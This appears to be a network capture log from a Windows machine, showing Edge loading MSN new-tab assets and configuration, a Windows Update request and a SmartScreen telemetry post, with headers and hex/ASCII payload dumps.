2024-04-23 21:02:19 UTC	956	IN	HTTP/1.1 200 OK Content-Type: image/png ETag: "bed4a7cc95f6106c7a3d46d2b50cb3f8:1614709529.490117" Last-Modified: Tue, 02 Mar 2021 18:25:29 GMT Server: AkamaiNetStorage Date: Tue, 23 Apr 2024 21:02:19 GMT Content-Length: 354 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402744052,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=1, origin; dur=0 , cdntime; dur=1 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 180162f4 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Cache-Control: public, max-age=31536000 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906139.180162f4 Vary: Origin
2024-04-23 21:02:19 UTC	354	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 f7 49 44 41 54 78 01 ed 57 d1 0d 83 20 10 7d e9 04 8c d0 51 d8 a4 8e e0 06 32 42 37 b2 23 74 03 47 a0 1b b4 10 21 62 cb 79 ca d1 f8 c3 4b 5e 34 70 be 7b 22 07 08 34 fc 42 3b 8e 8e d6 f1 5d 91 5e f3 c6 25 1f 2a 27 cd 71 a0 92 77 49 90 71 54 44 5c 8c 39 02 af d5 27 cf ea 5c d0 18 3a 7b 46 ac c4 40 84 c1 f2 39 48 61 85 ff 19 50 e1 59 2b 11 8e 93 f3 8a 32 90 79 f6 1a 30 a8 33 19 8b 0d 78 dc 21 2f 53 91 01 09 56 79 2e 38 19 cd 40 33 b0 c7 c0 0d 73 c9 4d 58 ef 66 47 db 59 50 65 38 25 7d 56 d0 9e cd b3 67 04 Data Ascii: PNGIHDR szzpHYs%%IR$sRGBgAMAaIDATxW }Q2B7#tG!byK^4p{"4B;]^%*'qwIqTD\9'\:{F@9HaPY+2y03x!/SVy.8@3sMXfGYPe8%}Vg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49786	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:19 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=nkGyhUBOnovzuz5&MD=oygleuew HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-04-23 21:02:19 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: cba1750b-9cee-4e55-b6dd-381ced62bd4e MS-RequestId: c0f3be2a-23fa-4059-9569-35374df34fd8 MS-CV: MlqPOwWE5kCObt4c.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 23 Apr 2024 21:02:18 GMT Connection: close Content-Length: 24490
2024-04-23 21:02:19 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-04-23 21:02:19 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49789	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:19 UTC	633	OUT	HEAD /statics/icons/favicon.ico HTTP/1.1 Host: assets.msn.com Connection: keep-alive Pragma: no-cache Cache-Control: no-cache sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:19 UTC	938	IN	HTTP/1.1 200 OK Content-Type: image/x-icon ETag: "b1a1d42024fa6e32ed87f61fd9507274:1574197118.459201" Last-Modified: Tue, 19 Nov 2019 20:58:17 GMT Server: AkamaiNetStorage Date: Tue, 23 Apr 2024 21:02:19 GMT Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402744545,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 180164e1 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Cache-Control: public, max-age=31536000 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906139.180164e1 Vary: Origin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49791	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:19 UTC	3300	OUT	GET /resolver/api/resolve/v3/config/?expType=AppConfig&expInstance=default&apptype=edgeChromium&v=20240423.509&targetScope={%22audienceMode%22:%22adult%22,%22browser%22:{%22browserType%22:%22edgeChromium%22,%22version%22:%22117%22,%22ismobile%22:%22false%22},%22deviceFormFactor%22:%22desktop%22,%22domain%22:%22ntp.msn.com%22,%22locale%22:{%22content%22:{%22language%22:%22en%22,%22market%22:%22us%22},%22display%22:{%22language%22:%22en%22,%22market%22:%22us%22}},%22os%22:%22windows%22,%22platform%22:%22web%22,%22pageType%22:%22dhp%22,%22pageExperiments%22:[%22prg-1s-mm-wid-t%22,%22prg-1s-sm-workid%22,%22prg-1s-twid%22,%22prg-1s-workid%22,%22prg-1s-wpocfpc%22,%22prg-1sw-finvldc%22,%22prg-1sw-fli-ex2c%22,%22prg-1sw-iconmap%22,%22prg-1sw-iplsd-ntp%22,%22prg-1sw-iplsdc-ntp%22,%22prg-1sw-iplsdc1p2%22,%22prg-1sw-iplsdp1%22,%22prg-1sw-iplsdp2%22,%22prg-1sw-lksincstbl%22,%22prg-1sw-p1widinc%22,%22prg-1sw-p1widinc-2d%22,%22prg-1sw-pde0%22,%22prg-1sw-popularc%22,%22prg-1sw-rr2fn%22,%22prg-1sw-rr2fp%22,%22prg-1sw-sa-annquota14%22,%22prg-1sw-sa-distillation4-t1%22,%22prg-1sw-sa-ntf-ddp-c%22,%22prg-1sw-sacfxevery2-t1%22,%22prg-1sw-saerevrfcc%22,%22prg-1sw-sageimterav3i2c%22,%22prg-1sw-sim-adapt%22,%22prg-1sw-socc-ntp%22,%22prg-1sw-socc-p1%22,%22prg-1sw-socc-p2%22,%22prg-1sw-srdus%22,%22prg-1sw-wxmptreplace%22,%22prg-2unified-uc-t%22,%22prg-ad-ai-imgf-c%22,%22prg-ad-pdedupe-c%22,%22prg-ad-va-rf-c%22,%22prg-adspeek%22,%22prg-bttd-c%22,%22prg-c-arb-rsz%22,%22prg-cg-c-hb%22,%22prg-cg-cmga%22,%22prg-cg-cmgroupa%22,%22prg-cg-dom-cleac%22,%22prg-cg-featured-c%22,%22prg-cg-homepagec%22,%22prg-cg-ingames-ct%22,%22prg-cg-notf%22,%22prg-cg-notf2%22,%22prg-cg-ntv-ad-blnd%22,%22prg-chnl-umf-follow%22,%22prg-chpg-ldgw%22,%22prg-co-ctr%22,%22prg-cookiecont%22,%22prg-csacclink-c%22,%22prg-ctr-pnpc%22,%22prg-entpremier-pr2-c%22,%22prg-fin-cdicon%22,%22prg-fin-cnosign%22,%22prg-fin-errde%22,%22prg-fin-l2tnews%22,%22prg-fin-l2tnews1%22,%22prg-mon-qcrfs%22,%22prg-p2-prmft%22,%22prg-p2-wx2lrot%22,%22prg-pr2-entprem-c%22,%22prg-pr2-flashrev%22,%22prg-pr2-noreqcap%22,%22prg-pr2-pagecontext%22,%22prg-pr2-shoreline%22,%22prg-pr2-sidebar%22,%22prg-pr2-sidebar-5-t%22,%22prg-pr2-svganimac%22,%22prg-rfrcsmc%22,%22prg-rpt2%22,%22prg-sh-bd-disgb-c%22,%22prg-sh-bd-newbanner%22,%22prg-sh-bd-newchckot%22,%22prg-sh-bd-nwchk%22,%22prg-sh-bd-pagoff%22,%22prg-sh-bd-ts%22,%22prg-sh-bd-video%22,%22prg-sh-dealsdaypdp%22,%22prg-sh-lowinv%22,%22prg-sh-lowinv1%22,%22prg-sh-recopdp%22,%22prg-sh-rmitmlnk%22,%22prg-sp-liveapi%22,%22prg-sp-nba24%22,%22prg-sp-nhl24%22,%22prg-sriver-wpo%22,%22prg-strrtng-g1%22,%22prg-ugc-likechange%22,%22prg-unified-p2%22,%22prg-upsaip-r-t%22,%22prg-upsaip-w1-t%22,%22prg-vidbuf1%22,%22prg-whp-minil1%22,%22prg-wx-ncar%22]} HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:19 UTC	1791	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Server: Kestrel ETag: "Jb6fI6CMme4W7jJ9PZgmgLH7Kwg" X-CRS-BuildVersion: 20240408.2_master X-CRS-Env: Production X-AS-SuppressSetCookie: 1 nel-report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA X-Ceto-ref: 662821dbb87b4db7bf85ec3e6a87c022\|AFD:662821dbb87b4db7bf85ec3e6a87c022\|2024-04-23T21:02:19.641Z Cache-Control: public, max-age=1728000 Date: Tue, 23 Apr 2024 21:02:19 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Set-Cookie: sptmarket=en-gb\|\|us\|en-us\|en-us\|en\|\|RefA=662821dbb87b4db7bf85ec3e6a87c022.RefC=2024-04-23T21:02:19Z; expires=Thu, 23 Apr 2026 21:02:19 GMT; path=/ Akamai-Request-BC: [a=23.11.231.159,b=402744558,c=g,n=US_GA_ATLANTA,o=20940],[c=c,n=US_GA_MARIETTA,o=20940],[a=52.142.29.118,c=o] Server-Timing: clientrtt; dur=105, clienttt; dur=43, origin; dur=32 , cdntime; dur=11 Akamai-Cache-Status: Miss from child, Miss from parent Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 180164ee Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906139.180164ee Vary: Origin
2024-04-23 21:02:19 UTC	14593	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 7b 22 63 6f 6e 66 69 67 73 22 3a 7b 22 41 70 70 43 6f 6e 66 69 67 2f 64 65 66 61 75 6c 74 22 3a 7b 22 70 72 6f 70 65 72 74 69 65 73 22 3a 7b 22 72 6f 6f 74 45 78 70 65 72 69 65 6e 63 65 22 3a 7b 22 63 6f 6e 66 69 67 52 65 66 22 3a 7b 22 65 78 70 65 72 69 65 6e 63 65 54 79 70 65 22 3a 22 45 64 67 65 43 68 72 6f 6d 69 75 6d 50 61 67 65 57 43 22 2c 22 69 6e 73 74 61 6e 63 65 53 72 63 22 3a 22 64 65 66 61 75 6c 74 22 7d 7d 7d 7d 2c 22 45 64 67 65 43 68 72 6f 6d 69 75 6d 50 61 67 65 57 43 2f 64 65 66 61 75 6c 74 22 3a 7b 22 70 72 6f 70 65 72 74 69 65 73 22 3a 7b 22 64 61 74 61 43 6f 6e 6e 65 63 74 6f 72 73 22 3a 5b 7b 22 73 63 72 65 65 6e 57 69 64 74 68 22 3a 22 41 6e 79 22 2c 22 63 68 69 6c 64 72 65 6e 22 3a 5b 7b 22 69 6e 73 74 Data Ascii: 00006000{"configs":{"AppConfig/default":{"properties":{"rootExperience":{"configRef":{"experienceType":"EdgeChromiumPageWC","instanceSrc":"default"}}}},"EdgeChromiumPageWC/default":{"properties":{"dataConnectors":[{"screenWidth":"Any","children":[{"inst
2024-04-23 21:02:19 UTC	9995	IN	Data Raw: 69 6c 79 22 2c 22 63 68 61 6e 67 65 4e 65 77 42 61 63 6b 67 72 6f 75 6e 64 44 61 69 6c 79 54 6f 6f 6c 74 69 70 22 3a 22 53 68 6f 77 20 6e 65 77 20 62 61 63 6b 67 72 6f 75 6e 64 20 64 61 69 6c 79 22 2c 22 69 6e 63 56 69 64 42 6b 67 49 6e 44 61 6c 79 52 6f 74 61 4f 70 74 22 3a 22 49 6e 63 6c 75 64 65 20 76 69 64 65 6f 20 62 61 63 6b 67 72 6f 75 6e 64 73 20 69 6e 20 64 61 69 6c 79 20 72 6f 74 61 74 69 6f 6e 22 2c 22 73 68 6f 77 53 70 6f 74 6c 69 67 68 74 73 4f 70 74 69 6f 6e 22 3a 22 53 68 6f 77 20 69 6d 61 67 65 20 73 70 6f 74 6c 69 67 68 74 20 74 65 78 74 22 2c 22 73 70 6f 74 6c 69 67 68 74 54 6f 6f 6c 74 69 70 22 3a 22 54 65 78 74 20 62 6f 78 65 73 20 74 68 61 74 20 61 70 70 65 61 72 20 6f 6e 20 74 68 65 20 62 61 63 6b 67 72 6f 75 6e 64 20 74 6f 20 72 65 Data Ascii: ily","changeNewBackgroundDailyTooltip":"Show new background daily","incVidBkgInDalyRotaOpt":"Include video backgrounds in daily rotation","showSpotlightsOption":"Show image spotlight text","spotlightTooltip":"Text boxes that appear on the background to re
2024-04-23 21:02:19 UTC	15426	IN	Data Raw: 30 30 30 30 33 43 33 36 0d 0a 62 66 37 61 65 34 61 31 39 38 33 22 2c 22 76 31 34 34 30 22 3a 22 65 62 61 61 66 38 62 62 2d 39 32 64 33 2d 34 64 31 35 2d 61 39 63 64 2d 33 33 38 61 32 30 36 36 66 35 33 64 2f 31 63 36 63 30 62 61 66 2d 65 35 30 32 2d 34 35 39 62 2d 62 61 65 32 2d 64 36 33 38 37 36 66 38 30 65 31 63 22 2c 22 76 32 31 36 30 22 3a 22 39 64 64 34 31 38 33 33 2d 36 61 36 32 2d 34 31 63 39 2d 38 33 63 39 2d 64 65 63 34 38 63 32 66 61 36 62 65 2f 64 65 37 63 31 36 36 31 2d 38 34 32 39 2d 34 64 62 36 2d 39 33 33 38 2d 63 66 31 61 35 30 34 36 66 36 36 30 22 7d 7d 2c 7b 22 61 74 74 72 69 62 75 74 69 6f 6e 22 3a 22 42 61 6e 61 6e 61 20 52 65 70 75 62 6c 69 63 20 69 6d 61 67 65 73 20 2f 20 53 68 75 74 74 65 72 73 74 6f 63 6b 22 2c 22 66 69 72 73 74 46 Data Ascii: 00003C36bf7ae4a1983","v1440":"ebaaf8bb-92d3-4d15-a9cd-338a2066f53d/1c6c0baf-e502-459b-bae2-d63876f80e1c","v2160":"9dd41833-6a62-41c9-83c9-dec48c2fa6be/de7c1661-8429-4db6-9338-cf1a5046f660"}},{"attribution":"Banana Republic images / Shutterstock","firstF
2024-04-23 21:02:19 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 51 30 38 58 22 2c 22 69 32 31 36 30 22 3a 22 41 41 31 32 51 32 34 69 22 7d 2c 22 76 69 64 65 6f 22 3a 7b 22 76 32 34 30 22 3a 22 31 30 34 64 66 31 38 39 2d 63 38 36 63 2d 34 65 30 61 2d 62 35 37 61 2d 36 35 35 63 37 36 62 65 33 38 32 32 2f 37 35 62 30 65 36 64 36 2d 34 62 65 31 2d 34 30 32 62 2d 39 65 36 32 2d 37 62 66 34 34 37 65 66 61 61 32 32 22 2c 22 76 37 32 30 22 3a 22 37 37 66 39 65 30 64 30 2d 63 36 62 61 2d 34 65 31 35 2d 38 64 34 61 2d 38 35 36 30 64 34 63 31 63 31 36 62 2f 34 38 33 38 64 63 35 38 2d 65 62 63 64 2d 34 39 38 64 2d 38 63 66 34 2d 62 61 31 38 63 32 33 32 30 66 34 37 22 2c 22 76 31 30 38 30 22 3a 22 64 32 36 66 65 65 30 34 2d 33 31 66 38 2d 34 35 32 63 2d 62 66 66 65 2d 31 65 35 33 34 34 63 33 63 66 38 Data Ascii: 00004000Q08X","i2160":"AA12Q24i"},"video":{"v240":"104df189-c86c-4e0a-b57a-655c76be3822/75b0e6d6-4be1-402b-9e62-7bf447efaa22","v720":"77f9e0d0-c6ba-4e15-8d4a-8560d4c1c16b/4838dc58-ebcd-498d-8cf4-ba18c2320f47","v1080":"d26fee04-31f8-452c-bffe-1e5344c3cf8
2024-04-23 21:02:19 UTC	12	IN	Data Raw: 69 6d 61 67 65 37 22 3a 22 41 0d 0a Data Ascii: image7":"A
2024-04-23 21:02:19 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 6e 20 69 6e 64 69 67 6f 20 62 75 6e 74 69 6e 67 20 6f 6e 20 61 20 73 75 6e 66 6c 6f 77 65 72 20 22 2c 22 69 6d 61 67 65 38 22 3a 22 50 65 6f 70 6c 65 20 73 75 72 66 69 6e 67 20 61 74 20 42 75 72 6c 65 69 67 68 20 48 65 61 64 73 2c 20 47 6f 6c 64 20 43 6f 61 73 74 2c 20 41 75 73 74 72 61 6c 69 61 20 22 2c 22 69 6d 61 67 65 39 22 3a 22 54 68 65 20 6d 65 64 69 65 76 61 6c 20 77 61 6c 6c 65 64 20 74 6f 77 6e 20 69 6e 20 54 6f 73 73 61 20 64 65 20 4d 61 72 2c 20 43 61 74 61 6c 6f 6e 69 61 2c 20 53 70 61 69 6e 22 2c 22 69 6d 61 67 65 31 30 22 3a 22 43 69 74 74 61 64 65 6c 6c 61 20 6f 6e 20 74 68 65 20 69 73 6c 61 6e 64 20 6f 66 20 47 6f 7a 6f 2c 20 4d 61 6c 74 61 20 22 2c 22 69 6d 61 67 65 31 31 22 3a 22 4d 61 6e 67 72 6f 76 65 20 Data Ascii: 00004000n indigo bunting on a sunflower ","image8":"People surfing at Burleigh Heads, Gold Coast, Australia ","image9":"The medieval walled town in Tossa de Mar, Catalonia, Spain","image10":"Cittadella on the island of Gozo, Malta ","image11":"Mangrove
2024-04-23 21:02:19 UTC	12	IN	Data Raw: 69 6f 6e 22 2c 22 65 6e 61 62 0d 0a Data Ascii: ion","enab
2024-04-23 21:02:19 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 6c 65 64 22 3a 74 72 75 65 2c 22 64 65 6c 61 79 54 72 69 67 67 65 72 41 6c 6c 6f 77 65 64 22 3a 74 72 75 65 7d 2c 22 62 69 6e 67 43 68 61 74 44 61 6c 6c 65 50 72 6f 6d 6f 74 69 6f 6e 22 3a 7b 22 6b 65 79 22 3a 22 62 69 6e 67 43 68 61 74 44 61 6c 6c 65 50 72 6f 6d 6f 74 69 6f 6e 22 2c 22 65 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 64 65 6c 61 79 54 72 69 67 67 65 72 41 6c 6c 6f 77 65 64 22 3a 66 61 6c 73 65 7d 7d 2c 22 64 61 74 61 43 6f 6e 6e 65 63 74 6f 72 73 22 3a 5b 7b 22 73 63 72 65 65 6e 57 69 64 74 68 22 3a 22 41 6e 79 22 2c 22 63 68 69 6c 64 72 65 6e 22 3a 5b 7b 22 69 6e 73 74 61 6e 63 65 49 64 22 3a 22 22 2c 22 63 6f 6e 66 69 67 52 65 66 22 3a 7b 22 65 78 70 65 72 69 65 6e 63 65 54 79 70 65 22 3a 22 43 68 72 6f 6d 69 Data Ascii: 00004000led":true,"delayTriggerAllowed":true},"bingChatDallePromotion":{"key":"bingChatDallePromotion","enabled":true,"delayTriggerAllowed":false}},"dataConnectors":[{"screenWidth":"Any","children":[{"instanceId":"","configRef":{"experienceType":"Chromi
2024-04-23 21:02:19 UTC	12	IN	Data Raw: 41 63 74 69 6f 6e 54 65 78 74 0d 0a Data Ascii: ActionText
2024-04-23 21:02:20 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 22 3a 22 46 6f 6c 6c 6f 77 20 69 6e 74 65 72 65 73 74 73 22 2c 22 6e 75 6c 6c 43 61 72 64 53 75 62 74 69 74 6c 65 22 3a 22 20 74 6f 20 67 65 74 20 6e 65 77 20 6e 6f 74 69 66 69 63 61 74 69 6f 6e 73 2e 22 2c 22 73 6f 63 69 61 6c 4e 6f 6e 4d 73 61 4e 6f 74 69 66 69 63 61 74 69 6f 6e 54 69 74 6c 65 22 3a 22 4a 6f 69 6e 20 74 68 65 20 63 6f 6d 6d 75 6e 69 74 79 21 22 2c 22 73 6f 63 69 61 6c 4e 6f 6e 4d 73 61 4e 6f 74 69 66 69 63 61 74 69 6f 6e 42 6f 64 79 22 3a 22 41 64 64 20 79 6f 75 72 20 76 6f 69 63 65 20 74 6f 20 74 68 65 20 63 6f 6e 76 65 72 73 61 74 69 6f 6e 73 20 68 61 70 70 65 6e 69 6e 67 20 6f 6e 20 4d 69 63 72 6f 73 6f 66 74 20 53 74 61 72 74 2e 22 2c 22 73 6f 63 69 61 6c 4d 73 61 4e 6f 6e 53 6f 63 69 61 6c 4e 6f 74 69 Data Ascii: 00006000":"Follow interests","nullCardSubtitle":" to get new notifications.","socialNonMsaNotificationTitle":"Join the community!","socialNonMsaNotificationBody":"Add your voice to the conversations happening on Microsoft Start.","socialMsaNonSocialNoti

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49793	52.159.108.190	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:19 UTC	734	OUT	POST /api/browser/edge/data/toptraffic/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoidTBVWGxNVjlNZzV6VGpzUmlwdkQ1UT09IiwgImhhc2giOiJlNHZOelgrTVV0QT0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "170540185939602997400506234197983529371" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-04-23 21:02:19 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-04-23 21:02:20 UTC	252	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 21:02:19 GMT Content-Type: application/octet-stream Content-Length: 460992 Connection: close Server: Kestrel ETag: "638004170464094982" Request-Context: appId=cid-v1:46ea1a4d-29cb-4e7e-a1ff-735721467fe3
